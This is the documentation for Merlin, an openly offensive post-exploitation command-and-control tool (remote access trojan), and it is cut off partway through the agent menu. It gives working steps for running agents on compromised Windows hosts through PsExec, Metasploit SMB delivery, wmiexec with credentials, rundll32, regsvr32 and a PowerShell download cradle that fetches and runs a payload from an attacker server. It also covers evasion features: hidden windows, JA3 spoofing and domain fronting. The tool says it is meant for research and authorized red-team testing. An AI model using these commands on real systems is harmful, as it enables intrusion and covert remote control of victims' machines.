Merlin Documentation

Release BETA

Russel Van Tuyl (@Ne0nd0g)

Sep 14, 2020

Quick Start

Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2. Merlin is also my first attempts at learning Golang.

This tool is intended to be used during research and authorized testing.

CHAPTER 1

Merlin Server

The quickest and recommended way is to download Merlin Server from the releases page for your host operating system (i.e Windows, macOS, or Linux).

1.1 Ubuntu Server 18.04

The following single line of code can be used to download, extract, and run Merlin Server on an Ubuntu Server:

```
sudo bash;apt update;apt install p7zip-full -y;cd /opt;wget https://github.com/
↪Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z;7z x -pmerlin -
↪omerlin merlinServer-Linux-x64.7z;cd merlin;./merlinServer-Linux-x64
```

If you're using 7zip from the command line, but sure to use the `x` flag so that the files are extracted into their respective directories.

The Merlin Server file download includes the compiled agents for all 3 major platforms in the `data/bin/` **directory**

Visit the *Merlin Agent* quick start to launch an agent.

CHAPTER 2

Merlin Agent

Merlin is a post-exploitation framework and therefore documentation doesn't cover any of the steps required to get to a point where you can execute code or commands on a compromised host. Exploiting or accessing a host must performed prior to leveraging Merlin.

Pre-compiled Merlin Agent binary files are distributed with the server download in the `data/bin/` **directory of Merlin**

2.1 Upload & Execute

One of the more simple ways to run Merlin is by uploading the compiled binary file to a compromised host and then execute that binary.

Don't forget to specify the address of your Merlin server with the `-url` flag. Default is *https://127.0.0.1:443/*

2.2 Windows Local Command Execution

This section covers executing the Merlin agent with local command execution.

2.2.1 Windows EXE - cmd.exe

With the *merlinAgent.exe* binary file already downloaded on to the compromised host, execute it by calling it from the command line. Double clicking the executable file will cause the agent to run **without** a window, so you will not see anything, and it will connect to the **default** URL of *https://127.0.0.1:443/*. This can be changed by recompiling the agent with the hardcoded address of your Merlin server.

cmd.exe example:

```
C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/
```

2.2.2 Windows DLL - rundll32.exe

With the *merlin.dll* binary file already downloaded on to the compromised host, execute it by calling it from the command line using the *rundll32.exe* program that comes with Windows. *Run* is the name of the DLL entrypoint called when the DLL is executed. Provide the URL for your listening Merlin server after the entrypoint.

rundll32.exe example:

```
C:\Users\Bob\Downloads>C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.
↪168.1.100:443/
```

2.3 Windows Remote Command Execution

This section covers executing Merlin agent when remotely accessing a host.

2.3.1 Windows EXE - PsExec.exe

The Microsoft Sysinternals PsExec.exe application can be used to connect to a remote host, upload the Merlin agent file, and execute it. The downside to this is the Merlin agent binary file is "on disk" and provides an opportunity for Anti-Virus software to detect the application. Use PsExec's *-c* flag to specify the location of the Merlin agent file on the attacker's host that will be uploaded to the remote host. The PsExec *-d* flag is required so that control is returned to the user after executing the Merlin agent file.

PsExec.exe example:

```
PS C:\SysinternalsSuite>.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c␣
↪C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/
```

2.3.2 Windows DLL - Metasploit's SMB Delivery

One method for delivery is to use an SMB server to host the payload and execute a command on the remote host to download and run the Merlin agent file. The Metasploit *windows/smb/smb_delivery* module is a good way to quickly stand up an SMB server for delivering the payload.

Setup the `windows/smb/smb_delivery` module:

```
msf > use windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set FILE_NAME merlin.dll
FILE_NAME => merlin.dll
msf exploit(windows/smb/smb_delivery) > set EXE::Custom /opt/merlin.dll
EXE::Custom => /opt/merlin/data/bin/dll/merlin.dll
msf exploit(windows/smb/smb_delivery) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(windows/smb/smb_delivery) > set VERBOSE true
VERBOSE => true
msf exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
msf exploit(windows/smb/smb_delivery) >
```

(continues on next page)

(continued from previous page)

```
[*] Server started.
[*] Run the following command on the target machine:
[*] Using custom payload /opt/merlin.dll, RHOST and RPORT settings will be ignored!
rundll32.exe \\192.168.1.100\WxlV\merlin.dll,0
```

NOTE: We must change the DLL entry point from *0* to *Run* and provide the URL of the listening Merlin server

Now that the SMB server is setup to deliver the *merlin.dll* file, we need to remotely access the target host and execute the command. By default, Metasploit sets the entry point to *0*. We need to modify the command to change the entry point to *Run* and specify the location of our listening Merlin server. Impacket's *wmiexec.py* Python program is one way to remotely access a host.

wmiexec.py example:

NOTE: We must change the DLL entry point from *0* to *Run* and provide the URL of the listening Merlin server

```
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.10
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
```

Advanced

The quick start examples above executed the Merlin agent and allowed the user to dynamically specify the location of the listening Merlin server with a command line parameter. There are a few instances where we the user is unable to specify, or simply don't want to, the URL for the listening Merlin server. In this case, the Merlin agent binary should be recompiled with a hardcoded URL of the listening Merlin server so that it does not need to be specified by the user during execution. *Do not continue on unless you are OK to deal with things that sometimes work and often have bugs and are not reliable.*

This will require that you have Go and gcc installed on the host compiling the application. View the DLL's README for additional information.

2.3.3 Recompile DLL

The *merlin.dll* file can be configured with the hardcoded url of your Merlin server. To do this, clone the repo, modify the file, and recompile it.

1. Clone the merlin repository using git
2. Edit the file at *cmd/merlinagentdll/main.go*
3. Find the string *var url = "https://127.0.0.1:443/"* and change the address
4. Compile the DLL

example:

```
cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin.git
cd merlin
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' cmd/merlinagentdll/main.
↪go
make agent-dll
```

This will leave the *merlin.dll* in the *data/temp/v0.5.0/* directory where *v0.5.0* is the current version number of Merlin. Now the recompdiled version of the DLL can be run without having to specify the address of the Merlin server.

rundll32.exe examples:

- `rundll32.exe merlin,main`
- `rundll32.exe merlin,Run`

regsvr32.exe examples:

- `regsvr32.exe /s merlin.dll`
- `regsvr32.exe /s /u merlin.dll`
- `regsvr32.exe /s /n /i merlin.dll`

2.3.4 PowerShell - Invoke-Merlin.ps1

WARNING: This script is very unstable

The `Invoke-Merlin.ps1` PowerShell script can be found in the `data/bin/powershell` directory. This script leverages the work done by the PowerSploit team to reflectively load *merlin.dll* into memory. View the README for additional details. By default, Invoke-Merlin connects to *https://127.0.0.1:443/*. At the time of this writing, I have not found a way to provide an argument of the listening Merlin server's address when calling the DLL. Therefore, this requires recompiling the DLL with the hardcoded address of the listening Merlin server as shown in the *Recompile DLL* section above. The *Invoke-Merlin.ps1* script needs to be updated with the Base64 encoded version of the new recompiled *merlin.dll* file. The quickest way to update Invoke-Merlin.ps1 is to use the set commands below from a PowerShell terminal.

- Read the DLL into a variable:

  `$PEBytes = [IO.File]::ReadAllBytes('C:/Go/src/Ne0nd0g/merlin/data/bin/dll/merlin.dll')`

- Base64 encode the DLL and save it in another variable:

  `$Base64String = [System.Convert]::ToBase64String($PEBytes)`

- Update the existing Invoke-Merlin.ps1 script with the Base64 encoded version of the newly compiled DLL:

  `(Get-Content data/bin/powershell/Invoke-Merlin.ps1) | foreach-object {$_ -replace '^\$global\:merlin \= (.*)', ('$global:merlin = ' + "'" + $Base64String + "'")} | Set-Content data/bin/powershell/Invoke-Merlin.ps1`

Now the Invoke-Merlin script is ready to be downloaded and executed. Fair warning, the script can be extremely executing the call back to the listening Merlin server. Give it a couple of minutes before rage quitting. Additionally, the *-ForceASLR* flag for Invoke-Merlin.ps1 is required to circumvent other errors that arise when executing the script. Host the Invoke-Merlin.ps1 script on any web server and use a PowerShell download cradel to execute it on the remote host.

Python's *SimpleHTTPServer* module can be used to quickly host the file. Move into the directory where you have a copy of the updated Invoke-Merlin.ps1 script and run the Python module.

python SimpleHTTPServer example:

```
python -m SimpleHTTPServer 80
```

Now the script can be downloaded and executed on a remote host using a tool like Impacket's wmiexec.py.

wmiexec.py example:

```
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.92
↪"powershell -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/
↪Invoke-Merlin.ps1');Invoke-Merlin -ForceASLR"
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv2.1 dialect used

^C[-]
root@kali:/opt/impacket/examples#
```

CHAPTER 3

FAQ

Frequently Asked Questions

3.1 When I double click the pre-compiled Windows agent binary, nothing happens.

The pre-compiled Merlin Agent for Windows is compiled with an option that prevents the program from showing. Double clicking the `merlinAgent-Windows-x64.exe` file will launch the agent and it will connect to the hard coded URL (default is `https://127.0.0.1:443/`). The agent will eventually die once it fails to contact the server. Options include recompiling merlinAgent with the hard coded URL of your server or running it from the command line using the `-url` flag to specify your server. View the *Custom Build* page for details on building and compiling the agent from source. Additionally, the agent can be compiled without the `-H=windowsgui` so that it doesn't disappear when executed by double clicking the file.

3.2 I get errors when trying to compile Merlin.

The biggest contributor I see for getting errors while compiling is forgetting to ensure the *GOPATH* environment variable is set. View the *Custom Build* page for details on ensuring the environment is configured properly.

3.3 Input and output redirection pipes don't work

Pipes `|` and redirectors < and > are functions of a shell. By default, Merlin only executes programs in the host's PATH variable. In order to use pipes and redirection, you must first specify the shell (i.e `/bin/bash`) so that you can use these.

When running a Merlin agent on a Linux host, use the `-c` flag with the shell to effectively change directories and perform some action in that directory. Because Merlin spawns a process for every command, the shell is not persistent or interactive. This request the operator to combine multiple commands together so that they are all in the same context/environment.

Example:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»shell /bin/sh -c "ls -l >
/tmp/out.txt"
```

CHAPTER 4

Command Line Flags

The following command line flags can be used when executing Merlin agent:

```
Merlin Agent
  -debug
        Enable debug output
  -host string
        HTTP Host header
  -ja3 string
        JA3 signature string (not the MD5 hash). Overrides -proto flag
  -proto string
        Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1␣
↪Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)]␣
↪(default "h2")
  -proxy string
        Hardcoded proxy to use for http/1.1 traffic only that will override host␣
↪configuration
  -psk string
        Pre-Shared Key used to encrypt initial communications (default "merlin")
  -sleep duration
        Time for agent to sleep (default 30s)
  -url string
        Full URL for agent to connect to (default "https://127.0.0.1:443")
  -v    Enable verbose output
  -version
        Print the agent version and exit
```

4.1 Debug

By default, the Merlin Agent will not write anything to STDOUT while it is running. The `-debug` flag enables debug output and facilitates troubleshooting to identify the source of a problem.

4.2 Host

The -host flag is used to specify the HTTP *Host:* header when communicating with the server. This feature is predominately used for Domain Fronting.

4.3 JA3

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: `SSLVersion,Ciphers,Extensions,EllipticCurves, EllipticCurvePointFormats`.

The -ja3 flag allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (i.e. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

NOTE: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The -ja3 flag will override the the -proto flag and will cause the agent to use the protocol provided in the JA3 hash.

4.4 Proto

The -proto flag specifies what protocol the Merlin Agent will use to communicate with the server

The http protocol communicates using the clear-text HTTP/1.1 protocol. This can be useful when leveraging Domain Fronting on a CDN that does not allow both fronting and TLS encrypted traffic.

The https protocol communicates using SSL/TLS encrypted HTTP/1.1 protocol.

The h2c protocol communicates using the clear-text HTTP/2 protocol. This clear-text version is not used by web browsers like Chrome and may stand out during traffic analysis. However, it also has the potential to evade detections if allowed out of the network and no network defenses are able to parse the traffic.

The h2 protocol communicates using the TLS encrypted HTTP/2 protocol. This will start the connection with prior knowledge and will not negotiate from HTTP/1.1 to HTTP/2. Some web proxies will not allow HTTP/2 communications. In this case you should use https. Alternatively, the HTTP/2 protocol *might* bypass network defenses or detections.

The http3 protocol communicates using HTTP/2 transported over QUIC known as HTTP/3. It is important to note that QUIC is a UDP protocol and may not be allowed of the network depending on egress filtering. QUIC uses TLS transport encryption.

4.5 Proxy

The -proxy flag is used to force HTTP/1.1 communications to go through a known proxy. At this time the Merlin Agent **WILL NOT** automatically detect if a host is configured to use a proxy. The HTTP/2 protocol does not support using a proxy. If a proxy is required to egress a network, use the http or https protocols.

4.6 PSK

The `-psk` flag is used to specify the Pre-Shared Key (PSK) that the Merlin Agent uses to initiate communication with the Merlin Server. The first message is encrypted with the PSK and subsequent messages establish a new session based encryption key using the OPAQUE protocol from this IETF draft. Additional information about OPAQUE can be found here: Merlin Goes OPAQUE for Key Exchange.

4.7 Sleep

The `-sleep` flag is used to specify how long the agent will sleep between checkin attempts. **NOTE:** You must include the unit of measurement after the number. For example, `30s` is for thirty seconds and `1m` is for one minute.

4.8 URL

The `-url` flag is used to specify the Uniformed Resource Locator (URL) that the agent will attempt to communicate with. Include the protocol (i.e. `https`), the host (i.e. `127.0.0.1`), the page (i.e `/` or `/news.php`), and optionally port (i.e. `:443`). This will result in `https://127.0.0.1:443/`. **NOTE:** By default the Merlin agent will communicate on the loopback adapter.

4.9 Verbose

The `-v` flag enables verbose output. By default a running Merlin Agent will not write any information to STDOUT. This can be used to see what the agent is doing along with what commands it is receiving.

4.10 Version

The `-version` flag will print the Agent version to the screen and then exit.

CHAPTER 5

DLL Agent

Merlin can be compiled into a DLL. The `data/bin/dll/merlin.c` file is a very simple C file with a single function. The `VoidFunc` and `Run` functions are exported to facilitate executing the DLL.

The `VoidFunc` function name was specifically chosen to facilitate use with PowerSploit's Invoke-ReflectivePEInjection.ps1. Using `VoidFunc` requires no modification to run Merlin's DLL with Invoke-ReflectivePEInjection.

If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.

If the DLL is compiled on Linux, ensure `MinGW-w64` is installed.

5.1 Creating the DLL

The DLL can be created using the Make file with `make agent-dll`

Alternatively, it can be compiled without Make by following these steps:

- **Create the required C archive file:** `cd data/bin/dll;go build -buildmode=c-archive ../../../cmd/merlinagentdll/main.go`
- **Compile the DLL** `gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32`

You will now have DLL file that you can use with whatever method of execution you would like.

5.2 DLL Entry Points

This table catalogs the exported functions for `merlin.dll` that can be used as an entry point when executing the DLL.

Table 1: Exported DLL Functions

Exported Function	Status	Notes
Run	Working	Main function to execute Merlin agent
DllInstall	Partial	Used with regsvr32.exe /i . Handling for `/i` not implemented
DllRegisterServer	Working	Used with regsvr32.exe
DllUnregisterServer	Working	Used with regsvr32.exe /u
ReflectiveLoader	Removed	Used with Metasploit's windows/manage/reflective_dll_inject module
Magic	Working	Exported function in `merlin.c`; used with sRDI or any other method
Merlin	Working	Exported function in `main.go`
VoidFunc	Working	Used with PowerSploit's Invoke-ReflectivePEInjection.ps1

5.3 Execution with rundll32.exe

The DLL can be executed on a Windows host using the rundll32.exe program. Examples of using `rundll32` are:

- `rundll32 merlin.dll,Run`
- `rundll32 merlin.dll,Merlin`
- `rundll32 merlin.dll,Magic`

A different Merlin server *can* be provided when executing the DLL by supplying the target URL as an argument. An example is:

```
rundll32 merlin.dll,Run https://yourdomian.com:443/
```

NOTE: Passing a custom URL only works when using cmd.exe and fails when using powershell.exe

5.4 Invoke-Merlin

The compiled DLL can be inserted into the `Invoke-Merlin.ps1` script. Check the [README](../powershell/README.MD) in the *powershell* directory for additional details.

5.5 Limitations

It is important to note that the DLL is currently in the Proof-of-Concept stage. Because of this, there is no way to provide a different Merlin server URL when calling `Invoke-Merlin`.

`Invoke-Merlin` will only call back to the Merlin server at 127.0.0.1. because that is the hard coded value. Future work will facilitate specifying the value at compile time or when executing the script. Work is in progress to overcome this issue.

One option to overcome this is to hard-code in the target Merlin server address into the `url` variable of the `cmd/merlinagent/main.go` prior to creating the C archive file.

CHAPTER 6

PowerShell

6.1 Invoke-Merlin

This is a PowerShell script based on the work by Joe Bialek (@JosephBialek) and Matt Graeber (@mattifestation) for PowerSploit's Invoke-ReflectivePEInjection.ps1 used to reflectively load Merlin into memory. The script contains a Base64 encoded version of `merlin.dll`.

An example of running the script from GitHub is:

```
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.
com/Ne0nd0g/merlin/master/data/bin/dll/Invoke-Merlin.ps1');Invoke-Merlin
```

An example of running the script locally, using dot sourcing to read the script in, is:

```
. C:\Invoke-Merlin.ps1;Invoke-Merlin
```

NOTE: Invoke-Merlin works on Windows 7 but fails on Windows 10

NOTE: PowerShell is only used to load the DLL, the agent itself is not written in PowerShell

6.2 Limitations

It is important to note that the script is currently in the Proof-of-Concept stage and will call back to the Merlin server at 127.0.0.1. Future work will facilitate specifying the server URL value when executing the script.

One option to overcome this is to hard-code in the target Merlin server address into the `url` variable of the `cmd/merlinagent/main.go` prior to creating the DLL.

6.3 Invoke-ReflectivePEInjection

All of the normal Invoke-ReflectivePEInjection.ps1 script is still in place and allows the user to additionally leverage any of the scripts original functionality. The only significant change is that the `-PEBytes` parameter is not required and will default to merlin.dll.

6.4 Update DLL

The following steps can be used to update the DLL in the script using PowerShell:

- `$PEBytes = [IO.File]::ReadAllBytes('C:/Go/src/Ne0nd0g/merlin/data/bin/dll/merlin.dll')`
- `$Base64String = [System.Convert]::ToBase64String($PEBytes)`
- `(Get-Content data/bin/powershell/Invoke-Merlin.ps1) | foreach-object {$_ -replace '^\$global\:merlin \= (.*)', ('$global:merlin = ' + "'" + $Base64String + "'")} | Set-Content data/bin/powershell/Invoke-Merlin.ps1`

CHAPTER 7

Custom Build

This section details how to build custom build a Merlin Agent using the Make file.

NOTE: Merlin is distributed with pre-compiled agent binaries for all major platforms in the `data/bin` directory.

7.1 Basic

The provided Make file can be used to build a new agent from **source**. It is recommended that you first use `go get github.com/Ne0nd0g/Merlin` to pull a copy of the Merlin source code to the host. Move into the Merlin root directory where the Make file is located.

- Windows agent: `make agent-windows`
- Linux agent: `make agent-linux`
- macOS agent: `make agent-darwin`
- Windows DLL: `make agent-dll`
- MIPS agent: `make agent-mips`
- ARM agent: `make agent-arm`

7.2 Advanced

Use the provided Make file to build a Merlin Agent with hard coded values. This removes the need for an operator to use commandline arguments and allows the Agent to simply be executed. The table below shows configurable compile options

Table 1: Build Options

Option	Description	Notes
URL	Full URL for agent to connect to (default "https://127.0.0.1:443")	same as the -url commandline flag
PSK	Pre-Shared Key used to encrypt initial communications (default "merlin")	same as -psk commandline flag
PROXY	Hardcoded proxy to use for http/1.1 traffic only that will override host configuration	same as -proxy commandline flag
HOST	HTTP Host header	same as -host commandline flag
PROTO	Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)] (default 'h2')	same as -proto commandline flag
JA3	JA3 signature string (not the MD5 hash). Overrides -proto flag	same as -ja3 commandline flag

An example of creating a new Linux HTTP agent that is using domain fronting through `https://merlin.com/c2endpoint.php` using a PSK of `SecurePassword1`:

```
make agent-linux URL=https://merlin.com:443/c2endpoint.php HOST=myendpoint.azureedge.net PROTO=https PSK=SecurePassword1
```

7.3 Windows Agent

The Windows Merlin Agent executable is compiled as a GUI application instead of console application. The Merlin Agent does not have a GUI component. The reason this is used is so that the Merlin Agent window disappears after it is executed. This behavior is intentional so that the user will not see the application window. This is done with the LDFLAGS when building the agent using the `-H=windowsgui` option as shown here

This causes problems when a user **WANTS** to see the Merlin Agent verbose or debug output. To view Merlin verbose/debug output, recompile the agent after removing `-H=windowsgui` from the Make file. Alternatively, compile the Windows agent with: `go build -o Merlin.exe cmd/merlinagent/main.go`.

7.4 Cross-Compiling

The Merlin agent and server can be cross-compiled to any operating system or architecture. A list of golang supported operating systems and architectures can be found here: https://golang.org/doc/install/source#environment

Table 2: Supported Platforms

$GOOS	$GOARCH
android	arm
darwin	386
darwin	amd64
darwin	arm
darwin	arm64
dragonfly	amd64
freebsd	386
freebsd	amd64

Continued on next page

Table 2 – continued from previous page

$GOOS	$GOARCH
freebsd	arm
linux	386
linux	amd64
linux	arm
linux	arm64
linux	ppc64
linux	ppc64le
linux	mips
linux	mipsle
linux	mips64
linux	mips64le
netbsd	386
netbsd	amd64
netbsd	arm
openbsd	386
openbsd	amd64
openbsd	arm
plan9	386
plan9	amd64
solaris	amd64
windows	386
windows	amd64

7.5 Mobile

The gomobile library can be used to compile for Android and iOS: https://godoc.org/golang.org/x/mobile/cmd/gomobile

These instructions can be followed to compile for Android

- Install Android SDK: https://developer.android.com/ndk/guides/index.html
- **Install gomobile:** `go get golang.org/x/mobile/cmd/gomobile`
- **Initialize gomobile:** `bin\gomobile init -ndk=C:\Users\[username]\AppData\Local\Android\Sdk\ndk`
- **Build the APK:** `bin\gomobile build -target=android merlinagent`

CHAPTER 8

Main Menu

8.1 help

After executing the Merlin server binary, interaction continues from the Merlin prompt `Merlin»`. This is the default menu presented when starting the Merlin server. To view available commands for this menu, type *help* and press enter. Tab completion can be used at any time to provide the user a list of commands that can be selected.

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands for the current menu context.

```
Merlin» help

   COMMAND  |          DESCRIPTION           |    OPTIONS
+-----------+--------------------------------+-----------------+
  agent     | Interact with agents or list   | interact, list
            | agents                         |
  banner    | Print the Merlin banner        |
  exit      | Exit and close the Merlin      |
            | server                         |
  listeners | Move to the listeners menu     |
  interact  | Interact with an agent. Alias  |
            | for Empire users               |
  quit      | Exit and close the Merlin      |
            | server                         |
  remove    | Remove or delete a DEAD agent
            | from the server
  sessions  | List all agents session        |
            | information. Alias for MSF     |
            | users                          |
  use       | Use a function of Merlin       | module
  version   | Print the Merlin server        |
```

(continues on next page)

(continued from previous page)

```
            | version                        |
  *         | Anything else will be execute  |
            | on the host operating system   |
Main Menu Help
```

8.2 agent

The `agent` command is used to interact with Merlin Agents. In most cases, the `agent` command is followed by a sub-command and then the agent's identifier. The agent identifiers are UUID version 4 strings. *The identifiers are long, but they can easily be filled in using Merlin's tab completion*. This ensures limited typing is required.

Available agent sub-command are: * [list](#list) * [interact](#interact)

8.2.1 list

The `list` option for the agent command is used to provide a list of all the available agents.

```
Merlin» agent list

+--------------------------------------+---------------+-----------------+----------
↪+-----------+
|              AGENT GUID              |   PLATFORM    |      USER       |   HOST    ␣
↪| TRANSPORT |
+--------------------------------------+---------------+-----------------+----------
↪+-----------+
| 54a20389-4f8a-4e3f-9f8e-a0f686ce529e |  linux/amd64  |     root        | kali      ␣
↪|  HTTP/2    |
| c1090dbc-f2f7-4d90-a241-86e0c0217786 | windows/amd64 |   ACME\Dade     | WIN-7PD32␣
↪|  HTTP/2    |
| 6af7d4a1-170f-43b7-a107-758f7855e6ba | darwin/amd64  |   nikon         | nikon-mac␣
↪|  HTTP/2    |
+--------------------------------------+---------------+-----------------+----------
↪+-----------+
```

8.3 interact

The `interact` option for the agent command is used to switch an agent context menu to interact with a single agent. This will cause the prompt to change indicating the agent you are interacting with and provide a new menu of commands.

```
Merlin» agent interact 54a20389-4f8a-4e3f-9f8e-a0f686ce529e
Merlin[agent][54a20389-4f8a-4e3f-9f8e-a0f686ce529e]»
```

8.4 banner

The `banner` command is used too print the super cool ascii art banner along with the version and build numbers.

```
Merlin» banner
Merlin»


                               &&&&&&&&
                             &&&&&&&&&&&&
                            &&&&&&&&&&&&&&&
                          &&&&&&&&&&& &&&&
                         &&&&&&&&&&&&&  &&&&
                        &&&&&&&&&&&& &  &&&&
                       &&&&&&&&&&&&&     &&&&
                      &&&&&&&&&&&&&&&     &&&
                     &&&&&&&&&&&&&&&&&     &&&
                    &&&&&&&&&&&&&&&&&&&     &&&
                   &&&&&&&&&&&&&&&&&&&&&
                  &&&&&&&&&&&&&&&&&&&&&&&
                  &&&&&&&&&&&&&&&&&&&&&&&
                 &&&&&&&&&&&&&&&&&&&&&&&&&
                &&&&&&&&&&&&&&&&&&&&&&&&&&&
               &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
              &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
             &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
       &&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&
    &&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&
  &&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&&&&&
&&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&
&&&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&&
&&&&&&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&&&&&&&&&
&&&&&&&&&&&&&     &&&&&&&&&&&&&&&&&&&&&&&     &&&&&&&&&&&&&
  &&&&&&&&&&&&&&&          MERLIN         &&&&&&&&&&&&&&&
    &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
           &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
                   Version: 0.8.0.BETA
                   Build: nonRelease
```

8.5 exit

The `exit` command is used to quit the Merlin server. The user will be prompted for confirmation to prevent from accidentally quitting the program. The confirmation prompt can be skipped with `exit -y`.

```
Merlin» exit

Are you sure you want to exit? [yes/NO]:
yes
[!]Quitting...
```

8.6 listeners

The `listeners` command will move into the Listeners menu.

8.7 interact

The `interact` command takes one argument, the agent ID, and is used to interact with the specified agent. **NOTE:** Use the built-in tab completion to cycle through and select the agent to interact with.

```
Merlin» interact c22c435f-f7c4-445b-bcd4-0d4e020645af
Merlin[agent][c22c435f-f7c4-445b-bcd4-0d4e020645af]»
```

8.8 quit

The `quit` command is an alias for the `exit` command and is used to quit the Merlin server. The user will be prompted for confirmation to prevent from accidentally quitting the program. The confirmation prompt can be skipped with `quit -y`.

```
Merlin» quit

Are you sure you want to exit? [yes/NO]:
yes
[!]Quitting...
```

8.9 remove

The `remove` command is used to remove or delete an agent from the server so that it will not show up in the list of available agents. **NOTE:** Removing an active agent will cause that agent to fail to check in and it will eventually exit.

```
Merlin» sessions

+--------------------------------------+-------------+------+---------+----------------
↪-+--------+
|              AGENT GUID              |  PLATFORM   | USER |  HOST   |    TRANSPORT   ␣
↪ | STATUS |
+--------------------------------------+-------------+------+---------+----------------
↪-+--------+
| c62ac059-e54d-4204-82a4-d5c054b63ac3 | linux/amd64 | joe  | DEV001 | HTTP/2 over␣
↪TLS |  Dead  |
+--------------------------------------+-------------+------+---------+----------------
↪-+--------+

Merlin» remove c62ac059-e54d-4204-82a4-d5c054b63ac3
Merlin»
[i] Agent c62ac059-e54d-4204-82a4-d5c054b63ac3 was removed from the server at 2020-08-
↪18T14:19:54Z
Merlin» sessions

+------------+----------+------+------+-----------+--------+
| AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS |
+------------+----------+------+------+-----------+--------+
+------------+----------+------+------+-----------+--------+

Merlin»
```

8.10 sessions

The sessions command is used to quickly list information about established agents from the main menu to include their status.

```
Merlin» sessions

+--------------------------------------+-------------+------+--------+----------------
↪-----------+---------+
|               AGENT GUID               |  PLATFORM   | USER |  HOST  |         ␣
↪TRANSPORT          | STATUS  |
+--------------------------------------+-------------+------+--------+----------------
↪-----------+---------+
| 6998f86a-f54b-4c90-a935-4620db5d2c4a | linux/amd64 | joe  | DEV001 |      HTTP/2␣
↪over TLS      | Active  |
| 3b1fbded-1292-413f-81f6-edd8be260c25 | linux/amd64 | joe  | DEV001 | HTTP/3 (HTTP/2␣
↪over QUIC) | Active  |
| 25c61141-6600-4c9a-abeb-f591494bf4c0 | linux/amd64 | joe  | DEV001 |     HTTP/2␣
↪clear-text     | Delayed |
+--------------------------------------+-------------+------+--------+----------------
↪-----------+---------+

Merlin»
```

8.11 use

The use command is leveraged to access a feature such as modules. Currently there is only one option and that is use modules to access Merlin modules. View the modules page for additional details.

8.12 version

The version command is used to simply print the version numbers of the running Merlin server.

```
Merlin» version

Merlin version: 0.8.0.BETA

Merlin»
```

8.13 wildcard

Any command that is not a Merlin command will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
```

(continues on next page)

(continued from previous page)

```
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

CHAPTER 9

Agent Menu

The agent menu context is used to interact with a single agent. The Merlin prompt will include the word `agent` along with the identifier for the selected agent. Type `help` to see a list of available commands for the agent menu context.

9.1 help

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» help

       COMMAND      |           DESCRIPTION           |            OPTIONS
+-------------------+---------------------------------+--------------------------------
↪+
  cd                | Change directories              | cd ../../ OR cd c:\\Users
